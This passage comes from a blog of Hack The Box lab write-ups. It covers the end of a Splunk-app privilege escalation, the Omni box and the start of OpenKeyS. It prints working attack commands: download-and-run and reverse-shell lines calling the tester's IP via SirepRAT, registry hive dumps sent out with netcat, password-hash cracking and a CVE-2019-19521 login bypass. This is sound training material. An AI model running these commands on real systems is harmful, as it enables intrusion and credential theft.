<link href="/servicesNS/nobody/system/apps/local/APPY" rel="edit"/>
<link href="/servicesNS/nobody/system/apps/local/APPY" rel="remove"/>
<link href="/servicesNS/nobody/system/apps/local/APPY/package" rel="package"/>
<content type="text/xml">
<s:dict>
<s:key name="check_for_updates">1</s:key>
<s:key name="configured">0</s:key>
<s:key name="core">0</s:key>
<s:key name="disabled">0</s:key>
<s:key name="eai:acl">
<s:dict>
<s:key name="app">system</s:key>
<s:key name="can_change_perms">1</s:key>
<s:key name="can_list">1</s:key>
<s:key name="can_share_app">1</s:key>
<s:key name="can_share_global">1</s:key>
<s:key name="can_share_user">0</s:key>
<s:key name="can_write">1</s:key>
<s:key name="modifiable">1</s:key>
<s:key name="owner">nobody</s:key>
<s:key name="perms">
<s:dict>
<s:key name="read">
<s:list>
<s:item>*</s:item>
</s:list>
</s:key>
<s:key name="write">
<s:list>
<s:item>*</s:item>
</s:list>
</s:key>
</s:dict>
</s:key>
<s:key name="removable">0</s:key>
<s:key name="sharing">app</s:key>
</s:dict>
</s:key>
<s:key name="install_source_checksum">3d642ab909020d9844b47dbf1a38c77cf7b9e0a0</s:key>
<s:key name="label">APPY</s:key>
<s:key name="location">/opt/splunkforwarder/etc/apps/APPY</s:key>
<s:key name="managed_by_deployment_client">0</s:key>
<s:key name="name">APPY</s:key>
<s:key name="show_in_nav">1</s:key>
<s:key name="source_location">/opt/splunkforwarder/etc/apps/APPY</s:key>
<s:key name="state_change_requires_restart">0</s:key>
<s:key name="status">installed</s:key>
<s:key name="visible">0</s:key>
</s:dict>
</content>
</entry>
</feed>
[*] Removing the malicious splunk app...
HTTP/1.1 200 OK
Date: Tue, 29 Sep 2020 09:22:44 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Content-Type: text/xml; charset=UTF-8
X-Content-Type-Options: nosniff
Content-Length: 1797
Vary: Cookie, Authorization
Connection: Close
X-Frame-Options: SAMEORIGIN
Server: Splunkd
<?xml version="1.0" encoding="UTF-8"?>
<!--This is to override browser formatting; see server.conf[httpServer] to disable. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .-->
<?xml-stylesheet type="text/xml" href="/static/atom.xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:s="http://dev.splunk.com/ns/rest">
<title>localapps</title>
<id>https://127.0.0.1:8089/services/apps/local</id>
<updated>2020-09-29T11:22:44+02:00</updated>
<generator build="a1a6394cc5ae" version="8.0.5"></generator>
<author>
<name>Splunk</name>
</author>
<link href="/services/apps/local/_new" rel="create"/>
<link href="/services/apps/local/_reload" rel="_reload"/>
<opensearch:totalresults>0</opensearch:totalresults>
<opensearch:itemsperpage>30</opensearch:itemsperpage>
<opensearch:startindex>0</opensearch:startindex>
<s:messages></s:messages>
</feed>
[!] If all went well run /tmp/.tester/bin/shdoor -p for a root shell
[!] Run whoami if your prompt didn't change...
[!] DELETE THE .tester DIRECTORY AS ROOT WHEN YOU'RE DONE! [!]
</code></pre></div>
<p>We then run the binary <code>shdoor</code> and get a root shell allowing us to retrive the
root flag.</p>
<div class="highlight"><pre><span></span><code>shaun@doctor:/tmp$ /tmp/.tester/bin/shdoor -p
/tmp/.tester/bin/shdoor -p
# id
id
uid=1002(shaun) gid=1002(shaun) euid=0(root) groups=1002(shaun)
# cat /root/root.txt
cat /root/root.txt
d32cd0d4b24856
</code></pre></div>
<h1>Wrapping up</h1>HTB: Omni2021-02-07T18:15:00+01:002021-02-07T18:15:00+01:00maggicktag:maggick.fr,2021-02-07:/2021/02/htb-omni.html<p><img alt="Omni Card" class="align-left" src="/media/2021.02/omni_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/271">Omni</a> publish on
August 22, 2020 by
<a href="https://www.hackthebox.com/home/users/profile/1190">egre55</a>.
This box is rated as easy box. I was mostly intrigue by the "Other" operating
system. It implies some Google search, a RAT and SecureStrings.</p>
<p><img alt="Omni Card" class="align-left" src="/media/2021.02/omni_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/271">Omni</a> publish on
August 22, 2020 by
<a href="https://www.hackthebox.com/home/users/profile/1190">egre55</a>.
This box is rated as easy box. I was mostly intrigue by the "Other" operating
system. It implies some Google search, a RAT and SecureStrings.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. The box is quit busy so first of all we
run a simple aggressive TCP scan:</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Mon Aug 31 11:13:25 2020 as: nmap -p- -oN nmap -sSV 10.10.10.204
Nmap scan report for 10.10.10.204
Host is up (0.079s latency).
Not shown: 65529 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
5985/tcp open upnp Microsoft IIS httpd
8080/tcp open upnp Microsoft IIS httpd
29817/tcp open unknown
29819/tcp open arcserve ARCserve Discovery
29820/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port29820-TCP:V=7.80%I=7%D=8/25%Time=5F452B08%P=x86_64-pc-linux-gnu%r(N
SF:ULL,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(GenericLines,10,"
SF:\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(Help,10,"\*LY\xa5\xfb`\x0
SF:4G\xa9m\x1c\xc9}\xc8O\x12")%r(JavaRMI,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\x
SF:c9}\xc8O\x12");
Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows
</code></pre></div>
<p>This look like a Windows Server with some strange open ports. When trying to
access the web service on port 8080 we got a basic auth with the message
"Windows Device Portal". We google to find the default user and password
<code>administrator:p@ssw0rd</code> but they don't work here. So we google for just "Windows Device Portal".</p>
<p>We learn that this is a Windows IOT operating system. We search for "Windows IOT exploit"
but that lead us to a lot of general media article. So we specify our search to
"Windows IOT exploit github". We found some <a href="https://github.com/SafeBreach-Labs/SirepRAT">python code to exploit the Sirep
service</a>.</p>
<h2>RCE and reverse shell</h2>
<p>We install the python2 dependencies and quickly realize that there is a bug with the <code>enum</code> library.
A few Google search told us that we need to use the <code>aenum</code> library instead of <code>enum</code>
So we modify each <code>from enum import Enum</code> to <code>from aenum import Enum</code>.</p>
<p>Then we can use the tool to execute command on the system. After a few classic
commands we upload netcat (<code>/usr/share/windows-binaries/nc.exe</code>)
to the box using the python HTTP server (<code>python3 -m http.server</code>) and writing
it directly in <code>C:\</code>. Then we run it to get a reverse shell, but this trigger an error as out netcat is a 32bits
binary.</p>
<div class="highlight"><pre><span></span><code>python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c PowerShell Invoke-WebRequest -OutFile C:\\nc.exe -Uri http://10.10.14.119:8000/nc.exe" --v
kali@kali:~/SirepRAT$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c C:\\nc.exe 10.10.14.119 1234 -e cmd.exe" --v---------
This version of C:\nc.exe is not compatible with the version of Windows you're running. Check your computer's system information and then contact the software publisher.
</code></pre></div>
<p>We download nc64.exe from the
<a href="https://github.com/int0x33/nc.exe/raw/master/nc64.exe">internet</a>,
re-upload it and run it again.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~/pown/htb_omni/SirepRAT$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c PowerShell Invoke-WebRequest -OutFile C:\\nc64.exe -Uri http://10.10.14.119:8000/nc64.exe"
kali@kali:~/pown/htb_omni/SirepRAT$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c C:\\nc64.exe 10.10.14.119 1234 -e cmd.exe"
</code></pre></div>
<p>We run a netcat listener at the same time and get a shell as <code>NT/SYTSEM</code></p>
<div class="highlight"><pre><span></span><code>kali@kali:/tmp/srv$ nc -l -p 1234
Microsoft Windows [Version 10.0.17763.107]
Copyright (c) Microsoft Corporation. All rights reserved.
C:\windows\system32>echo %username%
echo %username%
omni$
C:\windows\system32>Powershell
Powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\windows\system32> [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name
NT AUTHORITY\SYSTEM
</code></pre></div>
<p>As we are system we could access all file on the system. We found <code>user.txt</code> and
<code>root.txt</code> in <code>C:\Data\Users\app</code> and <code>C:\Data\Users\Adminsitrator</code> but the
content of the file is an <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/convertto-securestring?view=powershell-7#example-2--create-a-secure-string-from-an-encrypted-string-in-a-file">Encrypted
String</a>.
We will need to be the <code>app</code> and <code>administrator</code> users to decrypt the files. We
also notice the <code>hardening.txt</code> and <code>iot-admin.xml</code> files. The first one is just
a text file with some (unimportant) informations about the box's configuration.
The second one seems to be the <code>administrator</code> user's password as an Encrypted
String. So once we are the <code>app</code> user we would quickly be able to get the user
flag and the <code>administrator</code> password.</p>
<div class="highlight"><pre><span></span><code>C:\windows\system32>cd C:\Data
cd C:\Data
C:\Data>dir
dir
Volume in drive C is MainOS
Volume Serial Number is 3C37-C677
Directory of C:\Data
10/26/2018 11:37 PM <dir> CrashDump
07/04/2020 12:22 AM 0 FirstBoot.Complete
10/26/2018 11:37 PM <dir> Logfiles
10/26/2018 11:37 PM <dir> Programs
07/03/2020 11:22 PM <dir> SharedData
07/03/2020 11:22 PM <dir> SystemData
10/26/2018 11:38 PM <dir> test
07/04/2020 07:28 PM <dir> Users
10/26/2018 11:38 PM <dir> Windows
1 File(s) 0 bytes
8 Dir(s) 4,691,017,728 bytes free
C:\Data>cd Users\app
cd Users\app
C:\Data\Users\app>dir
dir
Volume in drive C is MainOS
Volume Serial Number is 3C37-C677
Directory of C:\Data\Users\app
07/04/2020 09:53 PM <dir> .
07/04/2020 09:53 PM <dir> ..
07/04/2020 07:28 PM <dir> 3D Objects
07/04/2020 07:28 PM <dir> Documents
07/04/2020 07:28 PM <dir> Downloads
07/04/2020 07:28 PM <dir> Favorites
07/04/2020 08:20 PM 344 hardening.txt
07/04/2020 08:14 PM 1,858 iot-admin.xml
07/04/2020 07:28 PM <dir> Music
07/04/2020 07:28 PM <dir> Pictures
07/04/2020 09:53 PM 1,958 user.txt
07/04/2020 07:28 PM <dir> Videos
3 File(s) 4,160 bytes
9 Dir(s) 4,691,017,728 bytes free
C:\Data\Users\app>type hardening
type hardening
The system cannot find the file specified.
C:\Data\Users\app>type hardening.txt
type hardening.txt
- changed default administrator password of "p@ssw0rd"
- added firewall rules to restrict unnecessary services
- removed administrator account from "Ssh Users" group
</dir></dir></dir></dir></dir></dir></dir></dir></dir></dir></dir></dir></dir></dir></dir></dir></dir></code></pre></div>
<h2>Dumping hashes</h2>
<p>As we are <code>SYSTEM</code> we can dump the <code>SYSTEM</code> and <code>SAM</code> hive to extract the users
passwords' hashes with <code>reg save</code>. We then transfer them to our Kali box using
netcat.</p>
<div class="highlight"><pre><span></span><code>C:\windows\system32>reg save hklm\system C:\system
reg save hklm\system C:\system
The operation completed successfully.
C:\windows\system32> reg save hklm\sam c:\sam
reg save hklm\sam c:\sam
The operation completed successfully.
C:\windows\system32>cd c:\
cd c:\
c:\>nc64.exe 10.10.14.119 1235 < system
nc64.exe 10.10.14.119 1235 < system
c:\>nc64.exe 10.10.14.119 1235 < sam
nc64.exe 10.10.14.119 1235 < sam
</code></pre></div>
<h2>Cracking hashes</h2>
<p>Once transfered we use <a href="https://github.com/SecureAuthCorp/impacket">impacket's</a>
secret dump to extract the hashes from the <code>SAM</code> and <code>SYSTEM</code> files.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~/installed_tools/impacket/examples$ python3 secretsdump.py -sam ~/pown/sam -system ~/pown/system -outputfile out LOCAL
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0x4a96b0f404fd37b862c07c2aa37853a5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a01f16a7fa376962dbeb29a764a06f00:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:330fe4fd406f9d0180d67adb0b0dfa65:::
sshd:1000:aad3b435b51404eeaad3b435b51404ee:91ad590862916cdfd922475caed3acea:::
DevToolsUser:1002:aad3b435b51404eeaad3b435b51404ee:1b9ce6c5783785717e9bbb75ba5f9958:::
app:1003:aad3b435b51404eeaad3b435b51404ee:e3cb0651718ee9b4faffe19a51faff95:::
[*] Cleaning up...
</code></pre></div>
<p>We run john on the collected hashes and get the <code>app</code> user password.</p>
<div class="highlight"><pre><span></span><code>[maggick@fomalhaut htb_omni]$ john hash -w=~/tools/password_lists/rockyou.txt --fork=8 --rules --format=NT
Using default input encoding: UTF-8
Loaded 6 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
Node numbers 1-8 of 8 (fork)
Each node loaded 1/8 of wordfile to memory (about 16 MB/node)
Press 'q' or Ctrl-C to abort, almost any other key for status
(Guest)
mesh5143 (app)
7 1g 0:00:00:09 DONE (2020-08-28 11:14) 0.1009g/s 2951Kp/s 2951Kc/s 14755KC/s Aateetaing..Aaaaaaaaaaaawing
5 1g 0:00:00:09 DONE (2020-08-28 11:14) 0.1005g/s 2939Kp/s 2939Kc/s 14769KC/s Abbyramying..Aaaaaaaaaaaaing
2 0g 0:00:00:10 DONE (2020-08-28 11:14) 0g/s 2921Kp/s 2921Kc/s 17530KC/s Aanyahing..Aaaaaaaaaaaaaaaaaaaaaaaaain
6 0g 0:00:00:10 DONE (2020-08-28 11:14) 0g/s 2921Kp/s 2921Kc/s 17529KC/s Abdelaing..Aaaaazing
4 0g 0:00:00:10 DONE (2020-08-28 11:14) 0g/s 2912Kp/s 2912Kc/s 17475KC/s Aberdaying..Aaaaaaaaaaaaaaaing
3 0g 0:00:00:10 DONE (2020-08-28 11:14) 0g/s 2909Kp/s 2909Kc/s 17456KC/s Abgboing..Aaaaaaaaaaaaaaaaaaaaaing
8 0g 0:00:00:10 DONE (2020-08-28 11:14) 0g/s 2897Kp/s 2897Kc/s 17382KC/s Abeloliving..Aaaaaaaaaaaaaaaaaaaaaaaaaaa
1 0g 0:00:00:10 DONE (2020-08-28 11:14) 0g/s 2855Kp/s 2855Kc/s 17130KC/s Abigayling..Soleiling
</code></pre></div>
<p>We then connect to the web service on port 8080 using this credentials. There is
specific page to run command.</p>
<p><img alt="User interface" class="image-process-article-image" src="/media/2021.02/derivatives/article-image/omni_01.png"/></p>
<p>We just run netcat to get a reverse shell as <code>app</code></p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ nc -l -p 1234
Microsoft Windows [Version 10.0.17763.107]
Copyright (c) Microsoft Corporation. All rights reserved.
C:\windows\system32>echo %username%
app
</code></pre></div>
<h2>Encrypted Strings</h2>
<p>We go back to the <code>app</code>'s user data folder, and use
<a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/convertto-securestring?view=powershell-7#example-2--create-a-secure-string-from-an-encrypted-string-in-a-file">Microsoft documentation</a>
to decrypt the user flag.</p>
<div class="highlight"><pre><span></span><code>C:\windows\system32>cd C:\Data\Users\app
C:\Data\Users\app>type user.txt
type user.txt
<objs version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<obj refid="0">
<tn refid="0">
<t>System.Management.Automation.PSCredential</t>
<t>System.Object</t>
</tn>
<tostring>System.Management.Automation.PSCredential</tostring>
<props>
<s n="UserName">flag</s>
<ss n="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</ss>
</props>
</obj>
</objs>
C:\Data\Users\app>Powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Data\Users\app> $Secure2 = ConvertTo-SecureString -String '01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7'
PS C:\Data\Users\app> $credential = New-Object System.Management.Automation.PSCredential ('root', $Secure2)
PS C:\Data\Users\app> $credential.GetNetworkCredential().Password
$credential.GetNetworkCredential().Password
7cfd50f6bc34db3204898f1505ad9d70
</code></pre></div>
<h1>Root</h1>
<p>We do exactly the same with the <code>iot-admin.xml</code> file to retrieve the
administrator password.</p>
<div class="highlight"><pre><span></span><code>C:\Data\Users\app>type iot-admin.xml
type iot-admin.xml
<objs version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<obj refid="0">
<tn refid="0">
<t>System.Management.Automation.PSCredential</t>
<t>System.Object</t>
</tn>
<tostring>System.Management.Automation.PSCredential</tostring>
<props>
<s n="UserName">omni\administrator</s>
<ss n="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa28853640000000002000000000010660000000100002000000000855856bea37267a6f9b37f9ebad14e910d62feb252fdc98a48634d18ae4ebe000000000e80000000020000200000000648cd59a0cc43932e3382b5197a1928ce91e87321c0d3d785232371222f554830000000b6205d1abb57026bc339694e42094fd7ad366fe93cbdf1c8c8e72949f56d7e84e40b92e90df02d635088d789ae52c0d640000000403cfe531963fc59aa5e15115091f6daf994d1afb3c2643c945f2f4b8f15859703650f2747a60cf9e70b56b91cebfab773d0ca89a57553ea1040af3ea3085c27</ss>
</props>
</obj>
</objs>
PS C:\Data\Users\app> $Secure2 = ConvertTo-SecureString -String '01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa28853640000000002000000000010660000000100002000000000855856bea37267a6f9b37f9ebad14e910d62feb252fdc98a48634d18ae4ebe000000000e80000000020000200000000648cd59a0cc43932e3382b5197a1928ce91e87321c0d3d785232371222f554830000000b6205d1abb57026bc339694e42094fd7ad366fe93cbdf1c8c8e72949f56d7e84e40b92e90df02d635088d789ae52c0d640000000403cfe531963fc59aa5e15115091f6daf994d1afb3c2643c945f2f4b8f15859703650f2747a60cf9e70b56b91cebfab773d0ca89a57553ea1040af3ea3085c27'
PS C:\Data\Users\app> $credential = New-Object System.Management.Automation.PSCredential ('root', $Secure2)
$credential = New-Object System.Management.Automation.PSCredential ('root', $Secure2)
PS C:\Data\Users\app> $credential.GetNetworkCredential().Password
$credential.GetNetworkCredential().Password
_1nt3rn37ofTh1nGz
</code></pre></div>
<p>We once more connect to the web application on port 8080 and execute netcat to
get a reverse shell as <code>administrator</code>. And we use the above method to decrypt the root
flag.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ nc -l -p 1234
Microsoft Windows [Version 10.0.17763.107]
Copyright (c) Microsoft Corporation. All rights reserved.
C:\windows\system32>echo %username%
echo %username%
Administrator
C:\windows\system32>cd "C:\Data\Users\administrator\
cd "C:\Data\Users\administrator\
C:\Data\Users\administrator>dir
dir
Volume in drive C is MainOS
Volume Serial Number is 3C37-C677
Directory of C:\Data\Users\administrator
07/04/2020 09:48 PM <dir> .
07/04/2020 09:48 PM <dir> ..
07/03/2020 11:23 PM <dir> 3D Objects
07/03/2020 11:23 PM <dir> Documents
07/03/2020 11:23 PM <dir> Downloads
07/03/2020 11:23 PM <dir> Favorites
07/03/2020 11:23 PM <dir> Music
07/03/2020 11:23 PM <dir> Pictures
07/04/2020 09:48 PM 1,958 root.txt
07/03/2020 11:23 PM <dir> Videos
1 File(s) 1,958 bytes
9 Dir(s) 4,691,116,032 bytes free
C:\Data\Users\administrator>type root.txt
type root.txt
<objs version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<obj refid="0">
<tn refid="0">
<t>System.Management.Automation.PSCredential</t>
<t>System.Object</t>
</tn>
<tostring>System.Management.Automation.PSCredential</tostring>
<props>
<s n="UserName">flag</s>
<ss n="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb0100000011d9a9af9398c648be30a7dd764d1f3a000000000200000000001066000000010000200000004f4016524600b3914d83c0f88322cbed77ed3e3477dfdc9df1a2a5822021439b000000000e8000000002000020000000dd198d09b343e3b6fcb9900b77eb64372126aea207594bbe5bb76bf6ac5b57f4500000002e94c4a2d8f0079b37b33a75c6ca83efadabe077816aa2221ff887feb2aa08500f3cf8d8c5b445ba2815c5e9424926fca73fb4462a6a706406e3fc0d148b798c71052fc82db4c4be29ca8f78f0233464400000008537cfaacb6f689ea353aa5b44592cd4963acbf5c2418c31a49bb5c0e76fcc3692adc330a85e8d8d856b62f35d8692437c2f1b40ebbf5971cd260f738dada1a7</ss>
</props>
</obj>
</objs>
C:\Data\Users\administrator>Powershell
Powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Data\Users\administrator> $Secure2 = ConvertTo-SecureString -String '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000011d9a9af9398c648be30a7dd764d1f3a000000000200000000001066000000010000200000004f4016524600b3914d83c0f88322cbed77ed3e3477dfdc9df1a2a5822021439b000000000e8000000002000020000000dd198d09b343e3b6fcb9900b77eb64372126aea207594bbe5bb76bf6ac5b57f4500000002e94c4a2d8f0079b37b33a75c6ca83efadabe077816aa2221ff887feb2aa08500f3cf8d8c5b445ba2815c5e9424926fca73fb4462a6a706406e3fc0d148b798c71052fc82db4c4be29ca8f78f0233464400000008537cfaacb6f689ea353aa5b44592cd4963acbf5c2418c31a49bb5c0e76fcc3692adc330a85e8d8d856b62f35d8692437c2f1b40ebbf5971cd260f738dada1a7'
PS C:\Data\Users\administrator> $credential = New-Object System.Management.Automation.PSCredential ('root', $Secure2)
PS C:\Data\Users\administrator> $credential.GetNetworkCredential().Password
$credential.GetNetworkCredential().Password
5dbdce5569e2c4708617c0ce6e9bf11d
</dir></dir></dir></dir></dir></dir></dir></dir></dir></code></pre></div>
<h1>Wrapping up</h1>
<p>I was really intrigued by the Unknown operating system but it turns out it was a
simple guessing game and once you know what the operating system was the box was
really straightforward (if you don't mess up the heavy <code>SYSTEM</code> extraction as I
did). This is clearly one of the worst box created by
<a href="https://www.hackthebox.com/home/users/profile/1190">egre55</a> even if the fact to
use Windows IOT is quit "funny".</p>HTB: OpenKeyS2020-12-14T09:50:00+01:002020-12-14T09:50:00+01:00maggicktag:maggick.fr,2020-12-14:/2020/12/htb-openkeys.html<p><img alt="openkeys card" class="align-left" src="/media/2020.12/openkeys_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/267">OpenKeys</a> published on
July 25 2020 by
<a href="https://www.hackthebox.com/home/users/profile/159204">polarbearer</a> and
<a href="https://www.hackthebox.com/home/users/profile/125033">GibParadox</a>
This box is classified as a medium machine. This box implies an openBSD box with
a <code>check_auth</code> exploit.</p>
<p><img alt="openkeys card" class="align-left" src="/media/2020.12/openkeys_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/267">OpenKeys</a> published on
July 25 2020 by
<a href="https://www.hackthebox.com/home/users/profile/159204">polarbearer</a> and
<a href="https://www.hackthebox.com/home/users/profile/125033">GibParadox</a>
This box is classified as a medium machine. This box implies an openBSD box with
a <code>check_auth</code> exploit.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>We start with an nmap scan. Only port 22 (SSH) and port 80 (HTTP) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Sat Aug 01 01:44:44 2020 as: nmap -p- -sSV -oN nmap 10.10.10.199
Nmap scan report for 10.10.10.199
Host is up (0.078s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.1 (protocol 2.0)
80/tcp open http OpenBSD httpd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug 01 01:47:51 2020 -- 1 IP address (1 host up) scanned in 786.94 seconds
</code></pre></div>
<h2>Web</h2>
<p>The website is authentication form. As the page title indicate, we could
probably get SSH key if we can access an user account.</p>
<p><img alt="home page" class="image-process-article-image" src="/media/2020.12/derivatives/article-image/openkeys_01.png"/></p>
<p>We run <code>dirb</code> against the website. It found a few folders.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ dirb http://10.10.10.199
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Aug 02 01:53:56 2020
URL_BASE: http://10.10.10.199/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.199/ ----
==> DIRECTORY: http://10.10.10.199/css/
==> DIRECTORY: http://10.10.10.199/fonts/
==> DIRECTORY: http://10.10.10.199/images/
==> DIRECTORY: http://10.10.10.199/includes/
+ http://10.10.10.199/index.html (CODE:200|SIZE:96)
+ http://10.10.10.199/index.php (CODE:200|SIZE:4837)
==> DIRECTORY: http://10.10.10.199/js/
==> DIRECTORY: http://10.10.10.199/vendor/
---- Entering directory: http://10.10.10.199/css/ ----
---- Entering directory: http://10.10.10.199/fonts/ ----
</code></pre></div>
<p>We browse the founded directories as the directory listing is activated. We
found something interesting in the <code>includes</code> directory.</p>
<p><img alt="includes folder" class="image-process-article-image" src="/media/2020.12/derivatives/article-image/openkeys_02.png"/></p>
<p>We take a look at the swap file and found a username "jennifer". We also notice
a system call to <code>check_auth</code>.</p>
<div class="highlight"><pre><span></span><code>b0VIM 8.1�-�^���jenniferopenkeys.htb/var/www/htdocs/includes/auth.php 3210#"! Utp=ad� � =����sWB@?" �������mgC� � � { a W J @ �������vpnmUS0���J� � � � � � � � � � � ?>} session_start(); session_destroy(); session_unset();{function close_session()} $_SESSION["username"] = $_REQUEST['username']; $_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT']; $_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR']; $_SESSION["last_activity"] = $_SERVER['REQUEST_TIME']; $_SESSION["login_time"] = $_SERVER['REQUEST_TIME']; $_SESSION["logged_in"] = True;{function init_session()} } return False; { else } } return True; $_SESSION['last_activity'] = $time; // Session is active, update last activity time and return True { else } return False; close_session(); { ($time - $_SESSION['last_activity']) > $session_timeout) if (isset($_SESSION['last_activity']) && $time = $_SERVER['REQUEST_TIME']; // Has the session expired? { if(isset($_SESSION["logged_in"])) // Is the user logged in? session_start(); // Start the session $session_timeout = 300; // Session timeout in seconds{function is_active_session()} return $retcode; system($cmd, $retcode); $cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);{function authenticate($username, $password)
</code></pre></div>
<p>A few Google research ("OpenBsd check_auth exploit") lead us to two blog articles
presenting four 2019 CVE allowing to bypass authentication and escalate
privileges on openbsd:</p>
<ul>
<li><a href="https://www.secpod.com/blog/openbsd-authentication-bypass-and-local-privilege-escalation-vulnerabilities/">secpod article</a></li>
<li><a href="https://www.qualys.com/2019/12/04/cve-2019-19521/authentication-vulnerabilities-openbsd.txt">qualys article</a></li>
</ul>
<h2>CVE-2019-1952</h2>
<p>We use the CVE-2019-19521 to bypass the authentication using the username
<code>-schallenge</code>. But the application tell us that there is no key found for the
